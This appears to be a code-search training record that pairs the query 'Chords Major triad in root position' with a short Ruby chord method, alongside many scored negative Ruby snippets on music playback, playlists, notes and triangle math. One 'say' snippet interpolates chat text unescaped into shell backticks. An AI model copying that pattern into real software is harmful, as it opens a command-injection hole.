"def track(name, wave_data, rhythm)\n track_key = unique_track_name(name)\n new_track = Track.new(track_key, wave_data, rhythm) \n @tracks[track_key] = new_track\n\n # If the new track is longer than any of the previously added tracks,\n # pad the other tracks with trailing . to make them all the same length.\n # Necessary to prevent incorrect overflow calculations for tracks.\n longest_track_length = tick_count()\n @tracks.values.each do |track|\n if track.rhythm.length < longest_track_length\n track.rhythm += \".\" * (longest_track_length - track.rhythm.length)\n end\n end\n \n return new_track\n end",
"def add_song(song)\n songs << song\n end",
"def tempo(microsecs)\n\[email protected] << Tempo.new(microsecs, @curr_ticks)\n end",
"def notes_attributes=(notes)\n notes.each do |note|\n song_note = self.notes.build(content: note)\n song_note.save\n end\n end",
"def <<(sound_player)\n @@sound_players ||= []\n @@sound_players << sound_player\n end",
"def play\n puts \"Playing note #{pitch} at :#{expression} on '#{@device}'\"\n midi.puts ON, to_midi, to_velocity unless pitch.nil?\n sleep duration\n midi.puts OFF, to_midi, to_velocity unless pitch.nil?\n true\n end",
"def update!(notes)\n fetch_notes\n show_notes\n push_notes(notes)\n end",
"def adding_notes\n unless params[:student_ids].empty?\n @students = Student.where(id: params[:student_ids])\n @students.each do |s|\n s.add_note(params[:notes])\n end\n message = {message: @students.size.to_s + ' students have had their notes updated.'}\n else\n message = {message: 'No student ids were received.'}\n end\n render json: message\n end",
"def play_melody(m)\n in_thread do\n set_volume! 5\n if defined? mybpm\n use_bpm mybpm()\n end\n if defined? mysynth\n use_synth mysynth()\n end\n \n (0..m[0].length-1).each do |i|\n if m.length > 2\n set_volume! m[2][i]\n end\n if m[0][i] != 0\n play m[0][i]\n end\n sleep m[1][i]\n end\n end\nend",
"def add_song(song)\n songs << song\n end",
"def set_output_notes(notes)\n @out_notes.clear\n notes.each do |note|\n dup_note = set_added_note_attrs note\n @out_notes << dup_note\n end\n @current_start = notes.last.start + notes.last.duration if not notes.nil? && notes.length > 0\n self\n end",
"def add_song(song_name)\n songs << song_name\n end",
"def pad!(seconds)\n @audio = Audio.pad(@audio, seconds)\n nil\n end",
"def add(args)\n return @client.api_helper.add(args, \"note_add\")\n end",
"def append_note http, new_notes\n # If I don't include hours it gets reset.\n # This doens't appear to be the case for task and project.\n (self.notes << \"\\n#{new_notes}\").lstrip!\n http.post \"daily/update/#{id}\", notes:notes, hours:hours\n end",
"def audio(filename, opts = {})\n n = input(filename, opts)\n @audios << n\n n\n end",
"def play\n @@plays += 1\n end",
"def notes\n\t\tall.map do |tone|\n\t\t\tKey.from_index(tone.tone, tone.letter_index).name\n\t\tend.extend(NoteSequence)\n\tend",
"def add_song(song)\n @songs << song \n end",
"def prepend_note_to_output(note)\n dup_note = set_added_note_attrs note \n @out_notes.insert(0, dup_note)\n @current_start += dup_note.duration\n self \n end",
"def say(speaker,text,outputList)\n\tif speaker =~ /(.*) : On \\d+\\/\\d+\\/\\d+, at \\d+:\\d+ \\w*, (.*) wrote/\n\t\tspeaker = $1.to_s\n\t\tquotedSpeaker = $2.to_s\n\t\tmessage = quoteAppend(speaker,quotedSpeaker)\n\telse\n\t\tmessage = speechAppend(speaker)\n\tend\n\tvoice = 'Bruce'\n\t#change these to the people in your chat. Won't work with many more people because of the limited number of voices.\n\tif speaker =~ /cody/i\n\t\tvoice = 'Ralph'\n\telsif speaker =~ /kidd/i\n\t\tvoice = 'Bruce'\n\telsif speaker =~ /hamstra/i\n\t\tvoice = 'Kathy'\n\telsif speaker =~ /munsch/i\n\t\tvoice = 'Princess'\n\telsif speaker =~ /schott/i\n\t\tvoice = 'Junior'\n\telsif speaker =~ /hennings/i\n\t\tvoice = 'Agnes'\n\telsif speaker =~ /aguiniga/i\n\t\tvoice = 'Zarvox'\n\telsif speaker =~ /brandon/i\n\t\tvoice = 'Whisper'\n\telsif speaker =~ /shah/i\n\t\tvoice = 'Vicki'\n\telsif speaker =~ /mcdonald/i\n\t\tvoice = 'Victoria'\n\telsif speaker =~ /williams/i\n\t\tvoice = 'Alex'\n\telsif speaker =~ /wadley/i\n\t\tvoice = 'Cellos'\n\tend\n\n\t#speak the text to .aiff files, track the files to later be combined\n\tif $current_speaker != speaker\n\t\t`say -v Fred \"#{message}\" -o recordings/\"#{$audio_file_count}\".aiff`\n\t\toutputList.write(\"file 'recordings/\"+$audio_file_count.to_s+\".aiff'\\n\")\n\t\t$audio_file_count+=1\n\t\t$current_speaker = speaker\n\tend\n\t`say -v #{voice} \"#{text}\" -o recordings/\"#{$audio_file_count}\".aiff`\n\toutputList.write(\"file 'recordings/\"+$audio_file_count.to_s+\".aiff'\\n\")\n\t$audio_file_count+=1\nend",
"def setup\n sketch_title 'Additive Wave Exercise'\n @w = width + 16 # Width of entire wave\n @xspacing = 8 # How far apart should each horizontal location be spaced\n @theta = 0.0\n @amplitudes = (0..MAX_WAVES).map { rand(10..30) }\n # @dx = Array.new(MAX_WAVES) do |x| # Value for incrementing X, to be calculated as a function of period and xspacing\n # period = rand(100..300) # How many pixels before the wave repeats\n # (TWO_PI / period) * @xspacing\n # end\n @dx = (0..MAX_WAVES).map do\n period = rand(100..300) # How many pixels before the wave repeats\n (TWO_PI / period) * @xspacing\n end\nend",
"def on\n loop do\n while @count < @playlist.size\n self.play_music\n self.wait\n end\n if (@repeat) # If @repeat is true, resets playlist and loops through again\n @count = 0\n else\n break\n end\n end\n @count = 0\n end",
"def aftertouch( note, channel, pressure )\n message( PA | channel, note, pressure )\n end",
"def add_song(song)\n\t\t@songs <<(song)\n\t\t\n\tend",
"def speak(repetitions)\n repetitions.times {puts \"Woof!\"}\n end",
"def play(name=nil, &blk)\n\n # VERBOSE\n @total_loops += 1\n #puts \"#{self.name}\\t\\tTotal Loops: #{@total_loops}\"\n # /VERBOSE\n\n ret = []\n return ret if not playing?\n # NOTE: Default is to NOT change the state of score but to make a copy for each play call.\n # Client can call\n\n cur_score = @scores[name] if name != nil\n cur_score = self.current_score if name == nil\n cur_score = cur_score.dup\n\n # NOTE: hooks can have whatever side effects they want, based on the access they have through\n # the Player public API. But barring that the promise the class makes in #play is like a \n # a functional map idea -- each hook is called, in order, and transforms the current state\n # of the current score and passes that to the next hook\n @preplay_hooks_ordered_names.each do |hook_name|\n cur_score = @preplay_hooks[hook_name].call(self, cur_score)\n end\n\n # If user passed in additional one-time-only block for this #play call, run it on current score\n cur_score = blk.call cur_score if block_given?\n\n # Now push the notes cur_score to output. Store added notes just from\n # this #play call in separate step to return them for client convenience, testing\n dup_note = nil\n\n cur_score.notes.each do |note|\n dup_note = set_added_note_attrs note\n # NOTE: This is a very important business rule on this line, namely that Player silently pushes\n # the start time of notes ahead of their literal value. Modified this because it broke a test\n # which pointed out the subtle issue that it should really only do this if the new note is before\n # the current Player start time. So added the if check.\n if @auto_next_start and dup_note.start < @current_start\n # If the new note start is < current_start, treat it as an offset from current_start\n dup_note.start(dup_note.start + @current_start)\n end\n\n ret << dup_note\n @out_notes << dup_note\n end\n # Move the offset forward past the end of the current score\n @current_start = (ret.collect {|note| note.start + note.duration}).max \n\n # Now run postplay hooks. \n # NOTE: These make no promise as far as manipulating the current_score. These rely on the\n # Player API and the client simply must implement whatever logic they want. Only promise\n # here is they'll get called by each #play call AFTER notes are written to output.\n # Typical use would be #get_state/#set_state and perhaps also manipulate the score or\n # the score_index. The #*state calls are the generic API for holding state between #play calls\n # Must pass in reference to containing object since method was passed in from outside this object as lambda\n @postplay_hooks_ordered_names.each do |hook_name|\n @postplay_hooks[hook_name].call self\n end\n\n # Also return the notes written, for client convenience in case they want a local copy, \n # and, more so, for convenience of unit testing \n ret\n end",
"def audio_gen(slide)\n term = slide['term']\n kind = slide['kind'] || nil\n index = slide['index'] || nil\n file_name = file_name_gen(slide, \".WAV\")\n say = command_arg('[[slnc 1000]]' + slide['script'] + '[[slnc 1000]]')\n output = command_arg(file_name)\n `say -v Jill #{say} -o #{output}`\n slide['audio'] = file_name\nend",
"def add_attachments_to_existing_note(note, attachments)\n attachments.each do |attach|\n logger.debug \"Adding attachment '#{attach.file_name}' to note ID #{note.id}\"\n existing_note_attachment_input(note).when_present 1\n existing_note_attachment_input(note).send_keys Utils.asset_file_path(attach.file_name)\n existing_note_attachment_delete_button(note, attach).when_present Utils.short_wait\n sleep Utils.click_wait\n note.updated_date = Time.now\n note.attachments << attach\n end\n end",
"def sounds(sounds)\n # Check that the sounds value is given as an array.\n if !sounds.is_a?(Array)\n raise \"Invalid sounds: #{ sounds }. It must be an array of synth types.\"\n end\n @metadata[:voices] = sounds\n return self\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song(song)\n @songs << song\n end",
"def add_song_by_name(name)\n song = Song.new(name)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n end",
"def add_fandoms_to_notes(fandoms)\n self.update! notes: \"#{add_fandoms(fandoms)}#{self.notes}\"\n return self\n end",
"def push_notes(notes)\n run(\"git notes --ref #{refname} add -f -F -\", {:stdin_str => notes, :raise => true})\n ret = run(\"git push origin refs/notes/#{refname}\")\n raise(ConcurrentUpdateError, \"trouble pushing notes\") unless ret[:val] == 0\n end",
"def add_major_triad(low_note, velocity=127, duration='quarter')\n add_notes([0, 4, 7].collect { |x| x + low_note }, velocity, duration)\n end",
"def add_to_note_list(values)\n note = queued_email_note\n unless note\n note = QueuedEmailNote.new\n note.queued_email_id = id\n end\n old_val = note.value.to_s\n list = old_val.split(\",\") + values.map(&:to_s)\n new_val = list.uniq.join(\",\")\n if note.new_record? || old_val != new_val\n note.value = new_val\n note.save\n end\n self.queued_email_note = note\n end",
"def instrument(midiIn, duration: 1.0, gmBank: \"000\", gmPatch: \"000\", gmPathDir: \"C:/Users/Michael Sutton/Midiloop/default/\", amp: 1.0, attack: 0.01, decay: 0.3, sustain: 0.5, release: 1.0, lpf: 128, hpf: 1, bpm: 60, pan: 0.0, glIn: \"none\", glFunc: \"none\", midiFlag: \"N\") \r\n\r\n #puts \"xgmPathDir: \" + gmPathDir.to_s\r\n if gmPathDir[0] == \"'\"\r\n testPathDir = gmPathDir[1...-1].to_s\r\n #puts \"testPathDir: \" + testPathDir.to_s\r\n #puts \"in 1\"\r\n end\r\n if gmBank[0] == \"'\"\r\n testBank = gmBank[1...-1]\r\n else\r\n testBank = gmBank\r\n end\r\n if gmPatch[0] == \"'\"\r\n testPatch = gmPatch[1...-1]\r\n else\r\n testPatch = gmPatch\r\n end\r\n if gmPathDir[0] == \"'\" \r\n sMixerPresetArray = buildGMSampleArray(testPathDir, testBank, testPatch)\r\n #puts \"using testPathDir\"\r\n else\r\n sMixerPresetArray = buildGMSampleArray(gmPathDir, testBank, testPatch)\r\n end\r\n presetMixerLineForPatch = sMixerPresetArray[0]\r\n presetMixerLineForPatchLength = presetMixerLineForPatch.length\r\n presetSettings = presetMixerLineForPatch[8..presetMixerLineForPatch.length].partition(\",\").last\r\n \r\n sampleToPlay = presetSettings.split(\",\")[7]\r\n if gmPathDir[0] == \"'\" \r\n sampleFileName = gmPathDir + sampleToPlay + \".pisf\"\r\n sampleArray = getSample(sampleFileName, gmPathDir) \r\n else\r\n sampleFileName = gmPathDir + sampleToPlay + \".pisf\"\r\n #puts \"sampleFileName: \" + sampleFileName.to_s\r\n sampleArray = getSample(sampleFileName, gmPathDir) \r\n end\r\n\r\n \r\n if lpf.to_i > 128 # override Frequency is not set so use the FC in the preset file\r\n lpfFreqCutoff = presetSettings.split(\",\")[4].to_f.floor\r\n else\r\n lpfFreqCutoff = lpf\r\n end\r\n if hpf.to_i < 2 # override Frequency is not set so use the FC in the preset file\r\n #hpfFreqCutoff = presetSettings.split(\",\")[4].to_f.floor\r\n hpfFreqCutoff = hpf\r\n else\r\n hpfFreqCutoff = hpf\r\n end\r\n\r\n ### Dead cide\r\n if midiIn.instance_of? Array \r\n if midiIn[0].instance_of? String\r\n midiSamplePlayer gmPathDir, midiIn, sampleArray, presetSettings, attack, decay, sustain, release, lpfFreqCutoff, hpfFreqCutoff, amp, bpm, pan, glIn, glFunc, midiFlag\r\n end\r\n end\r\n ##### \r\n\r\n if midiIn.instance_of? Symbol\r\n midiArray = []\r\n midiInStr = midiIn\r\n if gmPathDir[0] == \"'\" \r\n samplePlayer midiIn.to_i, duration, testPathDir, sampleArray, midiArray, presetSettings, attack, decay, sustain, release, lpfFreqCutoff, hpfFreqCutoff, amp, bpm, pan, midiFlag\r\n else\r\n samplePlayer midiIn.to_i, duration, gmPathDir, sampleArray, midiArray, presetSettings, attack, decay, sustain, release, lpfFreqCutoff, hpfFreqCutoff, amp, bpm, pan, midiFlag\r\n end\r\n end\r\n if midiIn.kind_of? Integer\r\n if gmPathDir[0] == \"'\"\r\n if midiIn.to_i != -1 \r\n samplePlayer midiIn.to_i, duration, testPathDir, sampleArray, midiArray, presetSettings, attack, decay, sustain, release, lpfFreqCutoff, hpfFreqCutoff, amp, bpm, pan, midiFlag\r\n end\r\n else\r\n if midiIn.to_i != -1\r\n samplePlayer midiIn.to_i, duration, gmPathDir, sampleArray, midiArray, presetSettings, attack, decay, sustain, release, lpfFreqCutoff, hpfFreqCutoff, amp, bpm, pan, midiFlag\r\n end\r\n end\r\n end\r\nend",
"def update_tone(*args, &block)\n !MARW_CONFIGURATION[:window_tone].size.between?(3,4) ? super(*args, &block) :\n self.tone.set(*MARW_CONFIGURATION[:window_tone]) \n end",
"def generate_play_list\n rplist = DBUtils.get_last_id(\"plist\")+1\n DBIntf.execute(\"INSERT INTO plists VALUES (#{rplist}, 'Charts generated', 1, #{Time.now.to_i}, 0);\")\n rpltrack = DBUtils.get_last_id(\"pltrack\")\n count = 1\n @lsc.each do |model, path, iter|\n DBIntf.execute(\"INSERT INTO pltracks VALUES (#{rpltrack+count}, #{rplist}, #{iter[COL_REF]}, #{count*1024});\")\n count += 1\n end\n end",
"def initialize_sounds(sound_array, debug=false)\n initialize_sound_manager(debug) do |soundman|\n sound_array.each do |id, url| \n soundman.create_sound(id, url)\n end\n end\n end",
"def add_voice(instruments, voice_data, instr_num, voice_num, name)\n if instruments[voice_data] == nil\n instruments[voice_data] = []\n end\n\n instruments[voice_data].push({\n :instrument => instr_num,\n :voice => voice_num,\n :name => name\n })\nend"
] | [
"0.65166426",
"0.6507929",
"0.6136562",
"0.61280113",
"0.61226624",
"0.61226624",
"0.61226624",
"0.61226624",
"0.6105571",
"0.6105571",
"0.6105571",
"0.6098773",
"0.6076589",
"0.603306",
"0.6029598",
"0.58895326",
"0.58701015",
"0.5861478",
"0.5716908",
"0.5716908",
"0.57050776",
"0.57037246",
"0.570362",
"0.5692432",
"0.5674838",
"0.56446594",
"0.5611121",
"0.55939734",
"0.55879796",
"0.5535462",
"0.5532757",
"0.55210036",
"0.55210036",
"0.5498592",
"0.5467062",
"0.5459998",
"0.5449491",
"0.5440799",
"0.541203",
"0.54115015",
"0.53740555",
"0.53716934",
"0.5364781",
"0.53544515",
"0.5338965",
"0.53331244",
"0.5316788",
"0.5277438",
"0.5266124",
"0.5245473",
"0.51946825",
"0.5186529",
"0.5178053",
"0.51379824",
"0.5131783",
"0.51283705",
"0.5125114",
"0.512239",
"0.51204395",
"0.5109823",
"0.5089543",
"0.5084238",
"0.50810456",
"0.5073103",
"0.5070193",
"0.5066821",
"0.50602126",
"0.5059451",
"0.5058995",
"0.505735",
"0.50322884",
"0.5027651",
"0.50269747",
"0.50223434",
"0.50203",
"0.50133646",
"0.5010954",
"0.50011957",
"0.4997311",
"0.49902284",
"0.49692515",
"0.4968668",
"0.49612308",
"0.496105",
"0.49609387",
"0.49609387",
"0.49609387",
"0.49609387",
"0.49609387",
"0.49609387",
"0.49597123",
"0.49554798",
"0.4951143",
"0.49329573",
"0.4925456",
"0.49238762",
"0.49151593",
"0.49140435",
"0.49099794",
"0.49082327"
] | 0.53765523 | 40 |
Chords Major triad in root position | def major(low_note, velocity=127, duration='quarter')
notes([0,4,7].collect { |x| x + low_note }, velocity, duration)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def locrian_6(root=nil)\n Scale.harmonic_minor(root).rotate(1)\n end",
"def minor_diagonal\n ([email protected]).collect { |i| @game.board.board[i][-i - 1] }\n end",
"def chords\n \n end",
"def pentagonal_index\n (1 + Math.sqrt(24 * self.abs + 1)) / 6\n end",
"def pentagonal_index\n (1 + Math.sqrt(24 * self.abs + 1)) / 6\n end",
"def central_hexagon_number\n return hn_from_hcl(((maxcol - 1) / 2).floor, (maxlin / 2).floor)\n end",
"def left_tri(tri)\n\nend",
"def diagonal_left\n end",
"def sen_ratg(row,column); det.table(:index, 13)[row][column]; end",
"def chech_first_corner_edge()\n\t\tposition = 4\n\t\treturn position\n\tend",
"def chech_first_corner_edge()\n\t\tposition = 4\n\t\treturn position\n\tend",
"def terms_in_pascal_triangle_for_row(row)\n c = 1\n cols = [1]\n return cols if row == 1\n until cols.length == (row.to_f / 2).ceil\n cols << (cols[c - 1].to_f * ((row.to_f - c.to_f) / c.to_f)).to_i\n c += 1\n end\n # cheat a little bit, we know it's symmetric\n if row.even?\n cols << cols.reverse\n else\n # don't grab the middle term if we are an odd row\n cols << cols[0..(row/2)-1].reverse\n end\n return cols.flatten\nend",
"def hexagonal_index\n (1 + Math.sqrt(1 + 8 * self)) / 4\n end",
"def main_diagonal\n ([email protected]).collect { |i| @game.board.board[i][i] }\n end",
"def triagonal_number(n)\r\n\t(n*(n+1))/2\r\nend",
"def triangle_index()\n (Math.sqrt(1 + (8 * self)) - 1) / 2\n end",
"def lattice_path(array)\n temp = [1]\n sum = array[0] + array[1]\n temp << sum\n sum = sum + array[2]\n temp << sum\n temp << array.last\n sum = temp.inject(:+)\n temp << (sum * 2)\n return temp\nend",
"def right_mid\n\t\t[ cl[0], cl[1]+1 ] \n\tend",
"def triangle(nrows)\n return [[1]] if nrows <= 1\n previous = triangle(nrows-1)\n center = previous[-1].enum_for(:each_cons, 2).map {|a| a[0] + a[1] }\n return previous << ( [1] + center + [1] )\nend",
"def chord; end",
"def right_tri(tri)\n\nend",
"def cannabinoid; end",
"def north(i=@cursor) i-width end",
"def triangulated_chromatic_number\n chi = 1; s= Hash.new {|h,k| h[k]=0}\n sigma=lexicograph_bfs\n inv_sigma = sigma.inject({}) {|acc,val| acc[val] = sigma.index(val); acc}\n sigma.each do |v|\n x = adjacent(v).select {|w| inv_sigma[v] < inv_sigma[w] }\n unless x.empty?\n u = sigma[x.map {|y| inv_sigma[y]}.min]\n s[u] = [s[u], x.size-1].max\n chi = [chi, x.size+1].max if s[v] < x.size\n end\n end; chi\n end",
"def pascals_triangle(n)\n triangle = [[1]]\n\n (1...n).each do |lvl_idx| # levels of pyramid by array idx\n current_lvl = []\n prev_lvl = triangle[lvl_idx - 1] \n\n (0..lvl_idx).each do |pos| # elements of level\n left = (pos == 0) ? 0 : prev_lvl[pos - 1]\n right = (pos == lvl_idx) ? 0 : prev_lvl[pos]\n current_lvl[pos] = left + right\n end\n triangle << current_lvl\n end\n triangle\nend",
"def lookup_diag_no(x, y)\n x, y = normalize_coords(x, y)\n # Magic formula reverse engineered from Mykolas.\n (((1 + 2 * (y - x)) ** 2 - 1) / 8.0) + 1\n end",
"def lattice_path(array)\n temp = [1]\n count = 2\n sum = array[0] + array[1]\n temp.push(sum)\n while count < array.length - 1\n sum = sum + array[count]\n temp << sum\n count += 1\n end\n \n temp << array.last\n sum = temp.inject(:+)\n temp << (sum * 2)\n return temp\nend",
"def middle_square\n [1, 0].product([1, 0]).map do |r, c|\n [(num_rows) / 2 - r, (num_columns) / 2 - c]\n end\n end",
"def pascals_triangle(num)\n ret_arr = [[1]]\n (num-1).times do #|idx|\n new_arr = [1]\n ((ret_arr[-1].length) -1).times do |j|\n new_arr << ret_arr[-1][j] + ret_arr[-1][j+1]\n end\n ret_arr.append(new_arr << 1)\n end\n ret_arr\nend",
"def quadrant(n)\n if n % 16 > 7\n # We're on the right\n if (n / 16) > 7\n # At the bottom\n return 3\n else\n return 1\n end\n else\n # On the left\n if (n / 16) > 7\n return 2\n else\n return 0\n end\n end\n end",
"def ntants\n d = @upper - @center\n (0...(2**@tuple)).map do |bits|\n k = [Vector[*(0...@tuple).map{|i| (bits & (1 << 1)) == 0 ? @center[i]+d[i] : @center[i]-d[i]}], @center]\n yield *k if block_given?\n k\n end\n end",
"def diagonal_coords\n data_hsh = { forward: [], backward: [] }\n @width.times do |t|\n data_hsh[:forward].push([t + 1, t + 1])\n data_hsh[:backward].push([@width - t, t + 1])\n end\n data_hsh\n end",
"def gen_diagonal_up(row,col)\n array_diagonals =[]\n 0.upto(5).each do |num|\n if ( row - num < 0 || col + num > 6)\n break\n end\n\n array_diagonals << [row-num, col+num] \n end\n array_diagonals.map{|coordinates| @grid[coordinates[1]][coordinates[0]]}\n end",
"def as_solution()\n idx = @tour.index(0)\n path = @tour[idx, @tour.length] + @tour[0, idx]\n path.push(0)\n end",
"def pascal(row, column)\n result = 1\n 1.upto(column) do |i|\n result = (result * (row + 1 - i)) / i\n end\n result\nend",
"def sen_settg(row,column); det.table(:index, 12)[row][column]; end",
"def sol\n '341'\n end",
"def pascals_triangle(n)\n triangle = []\n (1..n).each do |line|\n level = []\n num = 1\n (1..line).each do |idx|\n level << num\n num = (num * (line - idx) / idx)\n end\n triangle << level\n end\n triangle\nend",
"def diagonal_dir\n diag_or_lat(DIAGONAL_DIRS)\n end",
"def champagne_tower(gp, qr, qc)\n pyramid = []\n (1..qr + 1).each do |i|\n pyramid << Array.new(i, 0)\n end\n pyramid[0][0] = gp\n (0..qr + 1).each do |r|\n (0..r + 1).each do |c|\n q = (pyramid[r][c] - 1.0) / 2.0\n if q > 0\n pyramid[r + 1][c] += q\n pyramid[r + 1][c + 1] += q\n end\n end\n end\n return min(1, pyramid[qr][qc])\nend",
"def sum_of_diagonals\r\n\tresult = []\r\n\tresult.push 1\r\n\twidth = 3\r\n\twhile width <= 1001\r\n\t\tresult.push width**2, width**2 - (width-1), width**2 - (width-1)*2, width**2 - (width-1)*3\r\n\t\twidth += 2\r\n\tend\r\n\treturn result.reduce(:+)\r\nend",
"def am(amida, y, x)\n #p \"==== NOW ===\"\n #p y \n #p x\n #p amida\n\n if y == H \n #p \"=====GOAL\"\n if x + 1 == K\n $cnt = $cnt + 1\n end\n return\n end\n\n if x < W - 1\n to_right_amida = Marshal.load(Marshal.dump(amida))\n to_right_amida[y][x] = 1\n am(to_right_amida, y + 1, x + 1)\n end\n\n to_streight_amida = Marshal.load(Marshal.dump(amida))\n am(to_streight_amida, y + 1, x)\n\n if x > 0\n to_left_amida = Marshal.load(Marshal.dump(amida))\n to_left_amida[y][x - 1] = 1\n am(to_left_amida, y + 1, x - 1)\n end\nend",
"def cut(num_segments)\n t = direction*(1.0/num_segments)\n ret = [@root]\n num_segments.times do |i|\n ret << @root + t*(i + 1)\n end\n ret\n end",
"def midleft; return self[0], self.centery; end",
"def cyclospectrum_linear(peptide)\n cyclospectrum = []\n for i in 0..peptide.length-1\n sub = 0\n for j in i..peptide.length-1\n sub += peptide[j]\n cyclospectrum << sub\n end\n end\n cyclospectrum\nend",
"def squaragonal?(array)\n diag_right = 1\n diag_left = 1\n\n (0...array.length - 1).each do |i|\n (0...array.length - 1).each do |j|\n diag_right += 1 if array[i][j] == array[i + 1][j + 1]\n # diag_left += 1 if array[array.length - i - 1][j] == array[array.length - i - 2][j + 1]\n diag_left += 1 if array[-(i + 1)][j] == array[-(i + 2)][j + 1]\n end\n end\n if diag_right == array.length || diag_left == array.length\n return true\n else\n return false\n end\nend",
"def directions\n STRAIGHT + DIAGONAL\n end",
"def kochleft\n v = finish - start\n v /= 3\n v + start\n end",
"def angle_controller_positions\n\n [0, 1].map do |i|\n vector = @path[-i] - @path[1 - 3 * i]\n vector.length = @handle_length/Math.cos(@end_angles[i])\n a = @end_angles[i] + GRAPHICAL_ANGLES[i]\n vector.transform! Geom::Transformation.rotation(ORIGIN, Z_AXIS, a)\n\n @path[-i].offset vector\n end\n\n end",
"def find_triangle(counter)\n\t((counter*counter) + counter)/2\nend",
"def find_center(side)\n position = side / 2\n position = position - 1 if side.even?\n [position, position]\nend",
"def triangle(ang1, ang2, ang3)\n ary = [ang1, ang2, ang3].sort\n return :invalid if ary.sum != 180 || ary.include?(0)\n if ary[-1] < 90\n :acute\n elsif ary[-1] == 90\n :right\n else\n :obtuse\n end\nend",
"def midright; return self.right, self.centery; end",
"def diagonals\n [board.map.with_index { |row, i| row[i] },\n board.map.with_index { |row, i| row[row.size - i - 1] }]\n end",
"def s; @side.to_s[0,1]; end",
"def coordinate_delta_min\n one_side_terms(:right).map { |term| -term.conc / term.count }.max \n end",
"def determinant(matrix)\n return matrix[0][0] if matrix.size == 1\n first_row = matrix[0]\n\n first_row.each_with_index.inject(0) do |r, (x, j)|\n minor_det = determinant(minor(j, matrix))\n sign = ( -1 ) ** j\n r += sign * x * minor_det\n end\nend",
"def kochmiddle\n v = finish - start\n v /= 3\n p = start.copy\n p += v\n rotate_line(v, -60)\n p + v\n end",
"def left_child(indx)\n 2*indx + 1\n end",
"def count_diagonals(x, y)\n total_count = 0\n \n # Upper Left\n if x - 1 >= 0 and y + 1 < $height and $canvas[x - 1][y + 1] == 1 then total_count += 1 end\n # Bottom Left\n if x - 1 >= 0 and y - 1 >= 0 and $canvas[x - 1][y - 1] == 1 then total_count += 1 end\n # Upper Right\n if x + 1 < $width and y + 1 < $height and $canvas[x + 1][y + 1] == 1 then total_count += 1 end\n # Bottom Right\n if x + 1 < $width and y - 1 >= 0 and $canvas[x + 1][y - 1] == 1 then total_count += 1 end\n\n return total_count\nend",
"def chord_pairs\n pairs = []\n @chords.each_cons(2) { |c, d| pairs << [c, d] }\n return pairs\n end",
"def pascal(depth)\n triangle = []\n depth.times { |curr|\n layer = []\n (curr + 1).times { |n|\n if n == 0 || n == curr\n layer << 1\n else\n prev_layer = triangle.last\n layer << prev_layer[n - 1] + prev_layer[n]\n end\n }\n triangle << layer\n }\n\n triangle\nend",
"def corners(a)\n return a[0], a[2], a[7], a[5]\n end",
"def pascal(row)\n if row == 0 || row < 0\n return [1]\n end\n\n previous = pascal(row - 1)\n array = []\n\n (previous.length - 1).times do |i|\n array << previous[i] + previous[i + 1]\n end\n\n return [1, array, 1].flatten\nend",
"def centerx; return self[0]+(self[2].div(2)); end",
"def diagonal_slide(row, col) # oh cool try the .downto here instead of the reverse always nice to try new things even though it doesn't make for the most sensical code as per https://stackoverflow.com/questions/2070574/is-there-a-reason-that-we-cannot-iterate-on-reverse-range-in-ruby love it the last time you did reverse just because you didn't think about it until later now knowing this you can do it this way love it ah nevermind no need but would have been great to write smaller.downto(0).map oh well lol remember that for some other time love Ruby what a great language\n (row <= col) ? (smaller, larger = row, col) : (smaller, larger = col, row) # establish which number is the smaller of the two and the larger love it you have some crazy short code lol. For the nw and se diagonals\n nw = check_blocking_pieces((1..smaller).map { |offset| [row-offset, col-offset] }) # go by smaller because that's which one will hit 0 first\n ne = check_blocking_pieces((1..(7-row)).map { |offset| [row+offset, col-offset] if ((col-offset) >= 0) }.compact) # Need to use .compact to remove all the nil elements that were returned by .map since can't quite use select or reject since you *do* want to return the evaluation of the array but ah well code smells http://ruby-doc.org/core-1.9.3/Array.html#method-i-compact if you don't get rid of these nils then in the check_blocking_pieces() you'll run into an error since it'll be trying to get an index of a nil value in moves lol amaizng that even the most misleading errors you can debug with debugger and a good eye fuck byebug is so powerful # go by larger but check that the thing doesn't go out of bounds, the only bounds that it could go out if you have the row correct is col-offset being less than 0 # ahh these return nil for everything it doesn't return for so that's the error love it great catch # don't know what you would do without byebug it's literally god mode\n sw = check_blocking_pieces((1..(7-col)).map { |offset| [row-offset, col+offset] if ((row-offset) >= 0) }.compact) # go up until col == 7 as long as row is above or equal to 0, could do it the other way too, as long as col <= 7 go until row hits 0, but same thing\n se = check_blocking_pieces((1..(7-larger)).map { |offset| [row+offset, col+offset] }) # increase up until the largest one equals 7 basically there might be some nil issues with this but this should work can't wait to check it if you add them all up and there are some nils they might not add let's see, ah nope thankfully map returns an empty array fucking love it Ruby is the best\n (nw + ne + sw + se)\nend",
"def diagonals\n down_diag = []\n up_diag = []\n \n # push sets of coordinates that make up both diagonals\n 0.upto(@size - 1) do |idx|\n down_diag << [idx, idx]\n up_diag << [idx, @size - 1 - idx]\n end\n\n [down_diag, up_diag].map do |diag|\n diag.map { |pos| self[pos] }\n end\n end",
"def minor_diagnoal(offset=0)\n\t\tdiag = Array.new()\n\t\tif(offset >= 0)\n\t\t\t0.upto(height-1-offset) {|i| diag.push(self[i][width-1-offset-i])}\n\t\telse\n\t\t\toffset = -offset\n\t\t\toffset.upto(height-1) {|i| diag.push(self[i][width-i+offset-1])}\n\n\t\tend\n\t\n\t\treturn diag\n\tend",
"def diagonals\n [\n [self.r1_c1, self.r2_c2, self.r3_c3],\n [self.r1_c3, self.r2_c2, self.r3_c1]\n ]\n end",
"def pascals_triangle(num)\r\n triangle = [[1]]\r\n\r\n\r\n\r\nend",
"def path(k)\n x = k\n y = 1 - k\n path = []\n direction = 1\n (k*8).times do |i|\n path.push(x.to_s + ';' + y.to_s)\n if direction == 1\n y += 1\n direction = 2 if y == k\n elsif direction == 2\n x -= 1\n direction = 3 if x * (-1) == k\n elsif direction == 3\n y -= 1\n direction = 4 if y * (-1) == k\n elsif direction == 4\n x += 1\n end\n end\n path\nend",
